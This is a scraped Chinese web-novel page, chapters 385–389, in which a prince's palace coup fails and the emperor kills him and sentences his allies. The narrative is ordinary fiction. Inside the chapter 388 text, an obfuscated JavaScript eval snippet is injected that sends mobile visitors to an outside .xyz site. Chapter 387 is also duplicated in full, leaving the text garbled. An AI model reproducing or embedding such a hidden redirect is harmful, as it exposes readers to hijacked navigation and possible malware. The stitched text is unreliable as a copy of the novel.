“谢祁安,任你巧言令色,如何强辩,你问问这大殿之上的人,又有几个会认为你是对的?” “明明是你自己无能又贪婪,无才又嫉妒,自私地将无辜之人牵入这局中,竟还敢将所有错误归咎于他人身上。” “那些百姓何其无辜,我阿爹又何其无辜,你如此行事,就不怕午夜梦回之时,那些冤魂朝你索命吗!” “你以为你将责任推到旁人身上,你就真的无辜了?呵!做梦!” 谢祁安听着沈琼华的指责,眼眸微眯,“你果然知晓了,难怪你与初入永宁伯府时完全不一样。” 沈家初入京城时,宜儿就与他说过,沈氏女虽然精明,于做生意是把好手,但看重亲情,对林氏与老夫人甚是敬重。 可后来面见之时,沈琼华的表现与宜儿说的极为迥异。 他一开始,还以为是沈家入京不久,宜儿对沈琼华的了解还不够深,亦或是宜儿良善,替沈琼华说话罢了。 直至后来,沈琼华对他颇为抵触,又想尽办法离开了永宁伯府,这才猜到她知晓他们想要沈家的银钱。 后来,一桩桩,一件件事情的发生,他才察觉到不对劲。 若是沈琼华只是知晓他算计沈家的银钱,带着家人躲开便是,最多今后给他制造一点麻烦,报复一下,却没有必要一直与他对着干。 甚至上升到了不死不休的地步。 能让她不顾及寡母幼弟做到这一步的,只有一种可能。 那就是她已经知道了沈家主的死因,她要报复他! 所以才会与谢南渊联手,处处与她作对! “呵!若要人不知除非己莫为!你与永宁伯做的恶,可远不止这些,若不是我反应快,恐怕我沈家就只剩我一人了。” 说着沈琼华看向永宁伯,对方一派肃穆,“呸!装模作样,蛇鼠一窝,竟还敢肖想……白日做梦!” “你以为杀了她的丈夫她就能看上你?她说了,如今多看你一眼,都令她恶心至极!” 永宁伯面色冷硬,猛然攥紧了拳。 “得不得的到,恐怕由不了你做主了。”他向谢祁安道:“王爷,正事要紧,其余事情,皆后可稍后再议。” 谢祁安点头,目光看向谢南渊,扬声道:“所有人听令!不许任何人踏出这大殿一步,如有违逆者,斩!” “将皇上,带去太极殿!” 第三百八十五章 是你们太过于天真! 他移开视线看向谢荣,面色得意又带着三分轻蔑道:“父皇,您要是不想您的这些臣子死于非命,不想您最爱的儿子身死,不想这皇宫内血流成河……” “就乖乖地跟随儿子去太极殿,亲手写下禅位诏书,儿臣保证,待儿臣**后,必将您尊为太上皇,让您在行宫安享晚年。” “安享晚年?呵呵呵——朕才将将不惑之年,你倒是会安排,竟想将朕囚禁至死……”谢荣皮笑肉不笑地看向谢祁安。 “若是朕说不呢?” 谢祁安眼神转冷,道:“父皇,儿臣已经是高抬贵手了,你莫要逼儿臣,把儿臣逼急了,儿臣也不确定自己能做出什么事,比如——弑父!” “弑父!哈哈哈!周贵妃,你就任由他做出此等大逆不道之事?” 周贵妃触及谢荣的眼神,心中一阵心虚,她开口劝道:“皇上,您就将皇位传给安儿吧,他也是您的子嗣啊!” “安儿他是有才能的,他会将大越给治理好的,倒时去行宫,臣妾也可陪着您一同前去的,您不会孤单的。” 安乐公主犹豫一番也道:“是啊,父皇,你就听哥哥的吧,安乐也会陪着您的。” “哈哈哈——”谢荣大笑起来,又猛地收了笑,一双眼睛犹如毒蛇一般盯着周贵妃母女。 “你们还真是朕的好妃妾,好女儿,这个孽畜也配做皇帝!” “不过是一王爷就敢背地割城池给陈国,以达到自己的目的。” “朕若是真将大越交给他,我大越还不得倾覆!倒时朕还有何脸面去见列祖列宗!” 他看向谢祁安,道:“想要朕写禅位诏书?休想!” 谢祁安脸色一阵红一阵白,冷笑道:“既然父皇冥顽不灵,那就休怪儿臣不敬了!” “来人!将皇上压去太极殿!写禅位诏书!” 沈琼华听见这话,猛地看向谢南渊。 毕竟这男人方才跟她说放心来着,眼下都到这地步了,有什么招数还不赶紧使出来,再晚一点可就真要遂了谢祁安的愿了。 谢南渊依旧是那副淡然的样子,并未因着谢祁安的话有任何的反抗,乖乖让那些士兵将剑架在自己的脖子上。 见沈琼华急切的目光望过来,微微勾唇,朝龙椅的方向扬了扬下巴,“看。” 看? 看什么? 沈琼华朝坐在龙椅上的谢荣看过去,眼中疑惑更甚了。 忽然她察觉到了一丝不寻常。 不……不对! 谢祁安方才开口,为何没有士兵上前将皇上压去太极殿? 谢祁安眼含恼怒,“都愣着干什么!还不快依本王的吩咐,将皇上压去太极殿!” 有一安王的近卫不耐烦,嫌这些士兵磨磨唧唧,都造反了,还有甚害怕的。 主动朝谢荣走去,“殿下,他们太慢了,我——” ‘来’字还没说出口,脑袋便被人一刀削掉,滚落在了安乐公主的脚旁,将她原本的鹅黄色宫装衣摆染红。 “啊——” 安乐公主失声尖叫,拼命往周贵妃怀里钻。 千娇万宠的公主哪里经历过这场面,整个人都吓得发抖。 那近卫脑袋虽被削了,但身体还没反应过来,僵住了一瞬,才倒在了地上。 洛希瑶也被吓得魂不附体,下意识就要去攥沈琼华,却见自家表哥脖子上被架着剑,手却放在了沈琼华的面前。 宽大的手掌将那双漂亮的眼睛遮挡的严严实实,琼华一脸茫然地看着表哥,表哥回以温柔一笑。 洛希瑶:“……” 这都什么时候了! 还在这……不成体统! 那具倒下的尸体就像一个信号,原本那些架在大臣和谢南渊脖子上的剑都移开,转而架在了谢祁安,永宁伯,林大将军,以及前二人带来的近卫的脖子上。 而握着这些剑的士兵,各个目露警惕。 这一切都发生的太快了,等谢祁安反应过来时,目露惊骇,眼中的愤怒与惊恐近乎要化为实质。 他似是不敢相信一般,僵硬地抬起头,看向龙椅上不动声色的明黄色身影。 嘴唇微张,半晌才吐出一句话,“怎么可能?你算计我!” “算计?呵!”谢荣嗤笑一声, “是你们太过天真,竟真以为手中掌握着军机大营的部分兵权,那些士兵就会真正的听命于你们!” 第三百八十六章 谢祁安弑父 “没有朕的默许,你们以为这些士兵能顺利的出现在皇宫内?” “你们当皇宫的守备是纸糊的不成?” 谢荣不疾不徐地说着,眼神冰冷地看着谢祁安与永宁伯一行人。 百官这才从士兵们的反水中回过神来,沈琼华看向谢南渊,压低声音,问道:“你早就知道了?” 不然方才为何那般泰然自若,还让她放心。 谢南渊轻轻摇了摇头,“我方才回来,哪能知晓那么多,不过……” “不过什么?”沈琼华微微歪头,睁着一双求知若渴的眼睛看着谢南渊,瞧着竟有几分可爱。 谢南渊心中一动,眼眸愈发深邃了。 不过大殿之上这么多双眼睛盯着,不可太过逾距。 只得压抑住内心的悸动,只伸手轻轻捏了捏她姣好的面颊,勾唇道:“不过我知晓京中的兵力表面上是被父皇分割给了不同的人掌管,但实际上那些士兵只听从皇命。” “永宁伯手中的令牌平时只能调遣他们,一旦与永宁伯的命令与皇命相违背,那么那些士兵会毫不犹豫的选择听从皇上的命令。” 沈琼华蓦地瞪圆了眼睛,连谢南渊捏了她的脸都毫无所觉,全副心思都震惊于谢南渊方才说的话中。 所以永宁伯自认为掌控了军机大营的兵权,实际上却从未真正将其握在手中。 而皇上早就知晓谢祁安今日有可能会造反,却一直隐忍不发? 那方才皇上还看着她们与谢祁安争论不休…… 沈琼华下意识朝那坐在龙椅上的明黄色身影看去,望着对方沉静却充满威仪的面容,心中迟缓地升起一抹警惕与害怕。 这害怕不仅出现在了沈琼华的心中,也出现在了谢祁安一行人的心中。 一向沉稳的永宁伯看着那些反水的士兵,终是保持不了镇定了。 他高举握着令牌的手,大喊道:“你们这是做什么?令牌在我手中,尔等应当听从我的命令才是!” 话落,那些士兵纹丝不动,连头都未移动一下,似是没有听到一般。 永宁伯更加慌乱了,握着令牌的手都沁出了汗。 谢祁安见状一把夺过永宁伯手中的令牌,高举扬声道:“只要你们听从本王的吩咐,待今日事成之后,或得金银,或得美人,更甚者封侯拜相!” 谢祁安抛出巨大的利益,可却未起一丝波澜。 那上蹿下跳的样子,更称得他似跳梁小丑一般。 谢荣冷眼看了好一会儿,才开口道:“行了,别白费力气了,他们是不会听从你的话的。” 此话一出,谢祁安犹如被定住了一般,好一会儿,才僵硬地转身看向谢荣。 方才还得意的眼神,此刻盛满了强烈的恨意,而谢荣只是淡淡地带着几丝嘲弄地看着他。 “你早就知晓了我要谋反,故意隐忍不发,在我以为大权在握之时,又给我致命一击,自始至终……你就从未想过立我为太子。” “父皇,你好狠的心啊!我也是您的亲子啊!你这般算计我!”谢祁安咬牙,一字一句地道。 与那些字裹挟着一起吐出的,是十多年的不甘与嘶吼,还有成王败寇后的不服! “朕给过你机会的!”谢荣打断了谢祁安压抑着的嘶吼声。 那双冷漠的眼睛落在他身上,“朕原本想着只要你今日没有真正做出这件事情,朕便当做什么都不知道。” “明明是你!非要打破原本的平静!是你!觊觎朕座下的这把龙椅!还想将朕圈禁!” “既然你都不顾及父子之情,那就休怪朕无情了!” 最后三个字,谢荣的声音异常冰冷。 “哈哈……哈哈哈……父子之情?哈哈哈!父子之情!”谢祁安双目赤红,“那父皇,你想怎样处置儿臣呢?” 谢荣面色冷淡地道:“你戕害手足,勾结敌国,结党营私,陷害忠良,谋逆,这些罪名加在一起,你,死不足惜!” “死不足惜!哈哈哈哈!父皇,你对儿臣还真的是毫无舐犊之情啊!”谢祁安狂笑道,似疯癫了一般。 周贵妃听到谢荣的话却坐不住了,她向前膝行几步,泪流满面,哀哀恳求道:“皇上!皇上不要!安儿,安儿他就是一时糊涂,还请您饶了他这一回,臣妾……臣妾今后一定好好教导他,他定不敢再犯了啊皇上!” 谢荣冷笑一声,斜眼看向周贵妃,道:“周贵妃,你这会儿倒是舍得开口了。” 周贵妃被谢荣这一眼看得一阵心虚,“皇上,臣妾方才,方才就是一时蒙了心,还请皇上不要与臣妾计较。” 谢荣冷哼一声,“就是你教子无方,将他教成这个样子,胆大妄为,弑父谋逆,竟还有脸替他求情!” 安乐公主原本还想跟着周贵妃一起给谢祁安求情,听到谢荣斥责的话,顿时又缩了回去。 谢荣目光扫视众人,喊道:“李顺全!” “奴才在!”李顺全恭敬上前道。 “传朕旨意,安王谢祁安,戕害手足勾结敌国,结党营私,陷害忠良,事发后尤不悔改,竟敢带兵闯宫,意图弑父篡位。如此不忠不孝之徒,不堪为朕之子,念及祖宗基业,天下苍生,为正纲纪,着褫夺其王爵,关押至刑部大牢,赐死,三日后行刑!” “生母周氏,教子无方,纵子谋逆,不知悔改,着关押冷宫,赐白绫一条,三日后行刑。” “永宁伯,林将军,通敌叛国,私通外邦,泄露军机,意图谋逆,罪大恶极。证据确凿,罪名累累,赐死。其三族内,男子凡十岁以上者赐死,十岁以下者流放边疆;女子凡十六岁以下者没入教坊司,永世为贱籍,十六岁以上者充作奴籍,永不得赎身,以儆效尤!” “其余近卫仆从,一干赐死!” 这些旨意一出口,百官震荡,周贵妃腿一软,差点晕厥过去。 可却死命强撑着,跪在地上砰砰砰地磕头,“皇上!皇上不要啊!是臣妾教子无方,要罚就罚臣妾一人吧!就您饶了安儿,求您饶了安儿!臣妾愿意替安儿去死啊皇上!” 周贵妃这下是真慌了,哭得涕泗横流,哪还有先前那仪态端庄的样子。 不多久,额头上便渗出了血。 可谢荣此时哪里还会看她一眼,恐怕就是她此刻死在他面前,他也不会有丝毫触动。 “李顺全!”谢荣高声喊道,“还愣着干什么!还不快将这些人都拖下去!” “哦哦,是!奴才遵命!”李顺全这才从震惊中反应过来,看了谢祁安一眼。 看来皇上是铁了心要杀了安王啊! 心有戚戚地感叹着,面上却是一副恭敬之态,转身大喊道:“赶紧将人拖出去!” 那些士兵依言上前。 忽而,谢荣听到一阵惊呼声,“皇上!” 谢祁安不知何时,摆脱了士兵的控制,趁其不备,提着一把剑冲向了谢荣。 “护驾!护驾!”李顺全一边震惊高呼,一边用身体去挡住谢祁安。 谢祁安毫不留情朝李顺全心口捅去一剑,李顺全微微偏了偏,剑并未捅在心口处,而是捅在了肩膀处。 李顺全惨叫一身,被谢祁安踹倒在地。 谢祁安抽出剑又朝谢荣刺去,“想要我死!你先去死吧!” 第三百八十七章 谢祁安之死 眼看他的剑对着谢荣劈头砍下,身后传来一片慌乱。 “叮——” 刀剑相交的声音响起,谢南渊手持长刀挡住了即将劈在谢荣身上的剑。 谢祁安一怔,随即目露狠厉,剑锋朝谢南渊扫去。 谢南渊三两下扫掉谢祁安手中的长剑,那把长刀架在了谢祁安的脖子上。 谢祁安眼含不甘,“谢南渊,你——” 忽地,他睁大双眼,一缕鲜血从嘴角溢出。 谢南渊一怔,低头看去,一把匕首插在了谢祁安的心口处。 而那持匕首之人,正是皇上! “扑——” 匕首拔出,红色的鲜血从伤口处溢出,将月白色的长袍染成红色,妖冶异常。 谢祁安看着自己的伤口,猛地喷出一口血。 视线缓缓地由伤口处转向谢荣,目光中似是有震惊,疑惑,伤心,似是有千言万语一般,可血红的唇只吐出了四个字,“父皇,为……何……” 随后便轰然倒地。 谢南渊大脑都空白了一瞬,缓了缓神,目光落在皇上握着的染血的匕首上,缓缓移至其面庞上,见对方神色冷漠,又缓缓移开视线,与远处的沈琼华对视。 沈琼华心中惊骇异常,双手紧握,指甲钳进了肉里,连洛希瑶惊慌之下掐紧了她的手臂,她都察觉不到疼痛。 上一世,谢祁安是被她亲手所杀。 这一世,她布了这么大的局,有想过皇上会念及亲情,将其终身软禁,也有想过皇上恼怒之下会将其直接赐死,却从未想过谢祁安会是这等死法——被皇上,自己的亲身父亲,亲手所杀。 都说虎毒尚不食子,虽然身在皇家,这一点形同虚设,但亲自下手,确实令人心中惊骇。 即便是谢祁安有错在先,想要杀皇上,皇上这么做不过是自卫。 可这毫不犹豫的狠辣之劲,着实令人胆寒。 沈琼华下意识往后退了一步。 周贵妃看见这一幕,失声尖叫,“啊——安儿!安儿!我的安儿啊!” 周贵妃拼命甩开阻拦他的士兵,朝谢祁安的方向爬过去。 周贵妃是皇上的妃子,皇上虽然要赐死她,但到底还没有废除她的封号,是以那些士兵也不敢与其有过多的身体接触。 再加上皇上亲手杀死安王一事太过震撼,一时不察,还真让周贵妃越过阻拦,爬到了谢祁安身旁。 周贵妃踉踉跄跄地扑倒在谢祁安身旁,她抱着谢祁安的脑袋,另一只手死命捂着谢祁安胸前的伤口处。 泣不成声,与不成调,道:“安儿,安儿你别吓母妃!你别死啊!母妃,母妃再也不拿你跟那贱种比了,你好好的……好好的……” “你不能死啊……你死了……母妃……母妃怎么办啊!” 说着,周贵妃又朝周围的宫人怒吼道:“你们都愣着干什么!还不快去请太医!快去请太医救安王啊!快去啊!” 周贵妃撕心裂肺地喊叫着,可这安王本就是被皇上赐死了的,眼下刺杀皇上不成,又被皇上亲手所杀,这些宫人又哪里敢违抗皇上的旨意去请太医救安王。 只能个个低垂着头,站在那里,一动不动。 见他们无所作为,周贵妃哀求的看向谢荣,哭求道:“皇上!皇上!求求你!你救救安儿吧!救救他!他是我们的孩子啊!” “你让太医救救他!有什么后果,你冲臣妾来,臣妾绝无怨言!” “皇上!你救救他!我们的孩子,他才还年少,他还未到及冠礼的年纪啊!他还未曾娶妻生子!你救救他!救救他!” “救救他啊——”周贵妃嘶吼道,形同疯妇。 可无论她怎样哀求,谢荣都只是坐在那里,冷眼旁观。 “母……母妃……”微弱的声音从怀中传来,谢祁安拼尽仅剩的力气,指尖扒拉着周贵妃的衣裳。 不断有鲜血从他的嘴中,胸膛处涌出。 周贵妃立刻低头看向谢祁安,泪水与鲜血混在一起。 她一只手捧着谢祁安的脑袋,另一只手去擦拭谢祁安身上的鲜血。 可是太多了,捂着胸膛的伤口处,谢祁安嘴中吐血,擦去嘴角的血渍,伤口处又在渗血,怎么擦也擦不过来。 周贵妃声音颤抖,“太多了,太多了,怎么这么多,为什么擦不干净……为什么擦不干净啊!” “母妃……”谢祁安喊了一声,又是呕出了一大口鲜血。 周贵妃神色恍惚道:“安儿……安儿莫怕,母妃陪着你,母妃会救你的,母妃一定会救你的!” “你会好起来的,等你好起来了,咱们就离开皇宫,咱们不争了,咱们不争了!” “母妃……”谢祁安努力抬起头,看向周贵妃,那一眼,包含了太多东西,有悔恨,有不舍,也有愧疚,“对……对不起……儿臣不孝……连累了您……” “不……不是这样的,是母妃对不起你,是母妃没用……”周贵妃哽咽道。 “母妃……对……对不……”起字还没说出口,谢祁安就在周贵妃怀里咽了气。 周贵妃只觉手一沉,谢祁安已经没了生息,“安儿?安儿?安儿!我的安儿啊——” 周贵妃悲伤的嘶吼声,响彻了整个大殿。 眼看他的剑对着谢荣劈头砍下,身后传来一片慌乱。 “叮——” 刀剑相交的声音响起,谢南渊手持长刀挡住了即将劈在谢荣身上的剑。 谢祁安一怔,随即目露狠厉,剑锋朝谢南渊扫去。 谢南渊三两下扫掉谢祁安手中的长剑,那把长刀架在了谢祁安的脖子上。 谢祁安眼含不甘,“谢南渊,你——” 忽地,他睁大双眼,一缕鲜血从嘴角溢出。 谢南渊一怔,低头看去,一把匕首插在了谢祁安的心口处。 而那持匕首之人,正是皇上! “扑——” 匕首拔出,红色的鲜血从伤口处溢出,将月白色的长袍染成红色,妖冶异常。 谢祁安看着自己的伤口,猛地喷出一口血。 视线缓缓地由伤口处转向谢荣,目光中似是有震惊,疑惑,伤心,似是有千言万语一般,可血红的唇只吐出了四个字,“父皇,为……何……” 随后便轰然倒地。 谢南渊大脑都空白了一瞬,缓了缓神,目光落在皇上握着的染血的匕首上,缓缓移至其面庞上,见对方神色冷漠,又缓缓移开视线,与远处的沈琼华对视。 沈琼华心中惊骇异常,双手紧握,指甲钳进了肉里,连洛希瑶惊慌之下掐紧了她的手臂,她都察觉不到疼痛。 上一世,谢祁安是被她亲手所杀。 这一世,她布了这么大的局,有想过皇上会念及亲情,将其终身软禁,也有想过皇上恼怒之下会将其直接赐死,却从未想过谢祁安会是这等死法——被皇上,自己的亲身父亲,亲手所杀。 都说虎毒尚不食子,虽然身在皇家,这一点形同虚设,但亲自下手,确实令人心中惊骇。 即便是谢祁安有错在先,想要杀皇上,皇上这么做不过是自卫。 可这毫不犹豫的狠辣之劲,着实令人胆寒。 沈琼华下意识往后退了一步。 周贵妃看见这一幕,失声尖叫,“啊——安儿!安儿!我的安儿啊!” 周贵妃拼命甩开阻拦他的士兵,朝谢祁安的方向爬过去。 周贵妃是皇上的妃子,皇上虽然要赐死她,但到底还没有废除她的封号,是以那些士兵也不敢与其有过多的身体接触。 再加上皇上亲手杀死安王一事太过震撼,一时不察,还真让周贵妃越过阻拦,爬到了谢祁安身旁。 周贵妃踉踉跄跄地扑倒在谢祁安身旁,她抱着谢祁安的脑袋,另一只手死命捂着谢祁安胸前的伤口处。 泣不成声,与不成调,道:“安儿,安儿你别吓母妃!你别死啊!母妃,母妃再也不拿你跟那贱种比了,你好好的……好好的……” “你不能死啊……你死了……母妃……母妃怎么办啊!” 说着,周贵妃又朝周围的宫人怒吼道:“你们都愣着干什么!还不快去请太医!快去请太医救安王啊!快去啊!” 周贵妃撕心裂肺地喊叫着,可这安王本就是被皇上赐死了的,眼下刺杀皇上不成,又被皇上亲手所杀,这些宫人又哪里敢违抗皇上的旨意去请太医救安王。 只能个个低垂着头,站在那里,一动不动。 见他们无所作为,周贵妃哀求的看向谢荣,哭求道:“皇上!皇上!求求你!你救救安儿吧!救救他!他是我们的孩子啊!” “你让太医救救他!有什么后果,你冲臣妾来,臣妾绝无怨言!” “皇上!你救救他!我们的孩子,他才还年少,他还未到及冠礼的年纪啊!他还未曾娶妻生子!你救救他!救救他!” “救救他啊——”周贵妃嘶吼道,形同疯妇。 可无论她怎样哀求,谢荣都只是坐在那里,冷眼旁观。 “母……母妃……”微弱的声音从怀中传来,谢祁安拼尽仅剩的力气,指尖扒拉着周贵妃的衣裳。 不断有鲜血从他的嘴中,胸膛处涌出。 周贵妃立刻低头看向谢祁安,泪水与鲜血混在一起。 她一只手捧着谢祁安的脑袋,另一只手去擦拭谢祁安身上的鲜血。 可是太多了,捂着胸膛的伤口处,谢祁安嘴中吐血,擦去嘴角的血渍,伤口处又在渗血,怎么擦也擦不过来。 周贵妃声音颤抖,“太多了,太多了,怎么这么多,为什么擦不干净……为什么擦不干净啊!” “母妃……”谢祁安喊了一声,又是呕出了一大口鲜血。 周贵妃神色恍惚道:“安儿……安儿莫怕,母妃陪着你,母妃会救你的,母妃一定会救你的!” “你会好起来的,等你好起来了,咱们就离开皇宫,咱们不争了,咱们不争了!” “母妃……”谢祁安努力抬起头,看向周贵妃,那一眼,包含了太多东西,有悔恨,有不舍,也有愧疚,“对……对不起……儿臣不孝……连累了您……” “不……不是这样的,是母妃对不起你,是母妃没用……”周贵妃哽咽道。 “母妃……对……对不……”起字还没说出口,谢祁安就在周贵妃怀里咽了气。 周贵妃只觉手一沉,谢祁安已经没了生息,“安儿?安儿?安儿!我的安儿啊——” 周贵妃悲伤的嘶吼声,响彻了整个大殿。 第三百八十八章帝王的冷漠 任凭谁都没想到,曾经有能力一争储位的安王最后会是这么个死法。 永宁伯与林大将军都颓然地瘫倒在地。 安王**,便也意味着他们再也没有翻身的可能了。 而他们背后的家族也得为他们此次的选择而付出代价。 周贵妃双目无神抱着谢祁安的尸身,任凭鲜血从谢祁安的伤口涌出,滴落在黑色的地砖上,蜿蜒了一地。 谢荣面色一沉,神色冷漠道:“来人啊!还不快将周贵妃带下去!” 谢荣一发话,下头的宫人们霎时间动了起来。 有的去拉周贵妃,有的去抬谢祁安的尸身。 宫人接触到周贵妃的胳膊,当即就被甩开了,周贵妃死死抱着谢祁安的尸身不撒手,状似疯癫,干涩的唇瓣一张一合,不断呢喃道:“安儿没死……我的安儿没死……” “你们别碰他!你们别碰他!狗奴才!你们是什么身份!胆敢对安儿动手动脚,本宫要杀了你们!本宫要杀了你们!” “滚开!滚开!” 可任凭她对那些宫人如何拳打脚踢,终究是抵不过这么多人,只能眼睁睁地看着谢祁安被那些宫人抬走。 而她自己也被宫婢拖拽着,毫无还手之力。 “放开本宫!狗奴才!你们放开本宫!”周贵妃双手被宫人架着朝外头,她猩红的双眼看向端坐在龙椅上的谢荣。 “谢荣!你不得好死!你捅杀亲子,心狠手辣,冷漠无情,定然不会有好下场!” “我诅咒你,终有一日,你也会死在亲子手中!哈哈哈哈哈!哈哈哈——” 周贵妃被拖了下去,可是她最后一句话却在空阔的大殿之上回响,久久不散。 此等诅咒,明显是意有所指,百官的视线在面色阴沉的帝王与蹙眉的瑞王之间来回扫视,各个噤若寒蝉,不敢吭声。 沈琼华拧眉,对周贵妃的厌恶更深了一层。 都到这个地步了,竟还妄图挑拨离间。 她抬眼向帝王看去,却见帝王冷嗤一声,道:“妖言惑众,不知所谓!” 心顿时放回了肚中。 周贵妃和谢祁安被带了下去,永宁伯和林大将军及其近卫们也被压了下去。 永宁伯离开前深深地看了沈琼华一眼,沈琼华勾唇一笑。 昔日永宁侯府拿捏沈家就犹如拿捏一只蚂蚁一般,她带着阿娘和阿逸在虎狼窝生存,处处小心,时时提防,恐怕当初的永宁侯也没有想到,会有今日吧? 从今以后,沈家再也不必如履薄冰,时时刻刻怕这只饿狼会扑上来咬一口。 阿娘与阿逸也不必整日躲在宅院内,可以放心的出门了。 阿爹在地下也可以瞑目了。 笼罩在沈家头顶上的阴霾,终是散了。 这怎么能不令人高兴呢? 该拖走的人拖走,该押解的人押解,士兵们也都退了下去,大殿之上顿时空旷了不少,躲在其中企图浑水摸鱼的人便显露了出来。 战战兢兢,浑身发颤,满脸心虚害怕的安乐公主,在此刻着实引人注目。 还不消谢荣说些什么,安乐公主便跑上前,对着谢荣就跪了下来,砰砰砰地一顿磕头。 一边磕头一边哭求道:“父皇饶命!父皇饶命!儿臣对二哥……哦,不,对谢祁安今日之事完全不知情啊!儿臣也是被蒙在鼓里的,还请父皇明鉴!” “请父皇看在儿臣年幼无知的份上,饶了儿臣这一回吧,父皇!” “儿臣今后定当谨言慎行,绝不敢再犯!” 安乐公主说这话时,声音都是抖的,可见是被吓得不轻。 方才皇上弑子的那一幕,久久地印刻在她的脑海中挥之不去。 她从未如那一刻深刻认知到‘皇家无父子’这句话的含义。 父皇连二哥,连自己的亲儿子都可以说杀就杀,更何况她这个公主呢。 安乐公主磕头磕得额头都渗血了,谢荣的神情都没有丝毫动容,就好似往日的那些疼爱都是假的一般。 他冷笑一声,道:“李顺全!” “奴才在!”李顺全上前恭敬道。 “传朕旨意!安乐公主蒙受皇恩,却自幼骄纵,僭越礼法,谋逆结党,枉顾纲常,此等悖逆狂悖之举,天理难容,人神共愤!着褫夺其公主封号,贬为庶民,关押至宗人府,终生监禁,非死不得出!” 最后一个字落下,安乐公主犹如丢了三魂七魄般瘫倒在地,“不……不……不——” 褫夺封号,关押至宗人府,终生监禁,不得外出,这样的惩罚对于安乐公主这样从小被捧在手心长大,娇生惯养,如花一般年纪的女子,无异于是天榻了一般的存在。 安乐公主失声尖叫,又猛地磕起头来,“父皇!父皇不要啊!儿臣不要去宗人府啊!儿臣不要去宗人府,求您!求求您啊!!!” 任凭安乐公主如何求饶,皇上都不为所动,任由她嚎叫着被宫婢拖了下去。 至此,安王谋逆一事彻底落下帷幕,而剩下的查抄永宁伯府与林大将军府,揪出安王**的其他人,自有人依令去做,不需要皇上操心。 那些问心无愧的大臣也在心里暗暗松了一口气,而那些心中有鬼的则是站立难安,恨不能飞回府中检查疏漏。 经此一遭,这个早朝的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488395|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间直接延长过了晌午,众人饥肠辘辘,谢荣身心俱疲。 他由李顺全搀扶着站起身,冷漠的眼神扫视众人,缓缓开口,“退朝!” “渊儿,你留下,朕有话与你说。” 谢南渊一愣,微微颔首。 百官面面相觑。 原本安王与瑞王彼此难分伯仲,现如今安王谋逆被皇上亲手杀死,瑞王却被皇上留下来说话,只怕这太子之位真要落到瑞王的头上了。 众人各怀鬼胎地退下了,沈琼华内心担忧,一直迟迟未动。 她也不知道为什么,就是感觉心中十分不安。 还是洛希瑶拉了她一下,才将她拉走了。 她一步三回头地跟着洛希瑶朝外走,视线与谢南渊对上,谢南渊微微勾唇,朝她露出一抹笑,薄唇微启。 放心。 他对她说。 沈琼华微微颔首,跟着洛希瑶缓步离开,大殿的门缓缓合拢,阻隔了她的视线。 大殿内静悄悄的。 谢荣抬脚一步一步走至谢南渊面前,看着他漆黑如墨的眸子。 忽而,一巴掌拍在了谢南渊的肩膀上,唇角扯出一抹笑,“好样的!不愧是朕的儿子!面对构陷,懂得暗度陈仓,釜底抽薪,迅速转变战局,朕以你为荣!” 谢南渊陡然松了一口气,面上却不动声色地道:“父皇谬赞了,这都是儿臣应该做的。” “哎~此番你立了大功,朕定要好好奖赏你一番,不过具体要赏你什么,朕得好好想一想。” “等镇国公班师回朝,犒赏三军之时,朕再下旨,哦,对了,镇国公何时回朝?” 谢南渊拱手道:“回父皇的话,镇**及军中副将都在处理战后事宜,如今应当也处理的差不多了,只要父皇下令,即刻便可班师回朝。” 还是这么谨慎。 谢荣眼眸一暗,淡淡地嗯了一声,道:“朕知晓了,你赶路劳顿,先回府歇息一番吧,至于军中发生的那些事情,待你养好精神,写个折子,交代好事情始末,呈上来。” “是!”谢南渊恭敬道,正要退下,忽而又顿住了脚步。 转身语气僵硬地安慰道:“父皇,还请节哀,您的身子最要紧。” 谢荣点了点头,“其实……” 他想要说些什么,又顿住了。 最后只能摆了摆手,道:“罢了,人死如灯灭,如今再说什么都没有意义了,你回去吧。” 谢南渊颔首,退了下去。 大门关上前,谢南渊听到身后传来一道重重的叹息,似是心痛,又似是无奈。 最终,都湮灭于门后。 第三百八十九章周令宜怀孕 永宁伯府。 “你说什么!我怀有身孕了?”周令宜惊呼道。 林氏听闻周令宜呕吐不止请了大夫过府来看诊,担忧女儿身子便急匆匆的赶来了,刚走到门口就听到这句话,顿时惊骇得不行。 一时不察,差点被门槛给扳倒,幸而被身边的桂嬷嬷给扶了一把。 可她此时却顾不上这些,一把甩开桂嬷嬷的手,走到那大夫面前,劈头盖脸就是一段痛骂。 “你这庸医!竟敢胡说八道毁我女儿清誉!她还未嫁人,怎么可能身怀有孕!” “是哪个人指使你这样说的?老实交代!不然本夫人定要将你扒皮抽筋!” 那大夫一听,顿时吓得跪地求饶,“夫人!小人说的都是真的啊,贵府小姐已经有孕一月有余了,夫人若是不信,可以请旁的大夫来诊脉,便可知晓小人说的都是真的啊!” “怎么可能!休要在此妖言惑众!来人!” 还不待林氏让人将其打出去,斜方便传来一道颤抖的声音,“我……我居然真的有孕了!” 与林氏的愤怒不同,周令宜的声音带着一丝惊喜。 她的手缓缓抚上小腹处,动作极轻极柔,似是稍微重一点,这个孩子就会消失不见一般,面上满是初为人母的喜悦。 林氏如何能不了解自家女儿,见她这一副喜出望外的样子,心里顿时咯噔一声,立即朝桂嬷嬷使了个眼色。 桂嬷嬷会意,亲自将大夫扶了起来,笑道:“我们夫人与小姐有两句体己话要说,还请您到偏厅喝茶。” 大夫自知自己撞破了这等事,便意味着自己落到了这些勋贵人家手中。 知道反抗无用,便乖乖跟着桂嬷嬷走了。 采薇也会意退了下去。 桂嬷嬷走时,还不忘将门给关上。 屋内只剩下母女二人。 “跪下!”林氏坐在太师椅上怒斥道。 听到这震怒的声音,周令宜才从惊喜中回过神来,‘娘——’ “你给我跪下!”林氏复又道。 周令宜一惊,却还是心不甘情不愿的跪下了。 林氏看着跪在面前娇养了十六年的女儿,只觉得心中窝着一团火,怎么也不敢相信她竟会做出婚前失贞的事情。 她强忍着心中的愤怒,问道:“是安王的?” 周令宜有些娇羞地低下头,诺诺道:“娘!瞧你这话说的,女儿除了殿下还能有谁?” 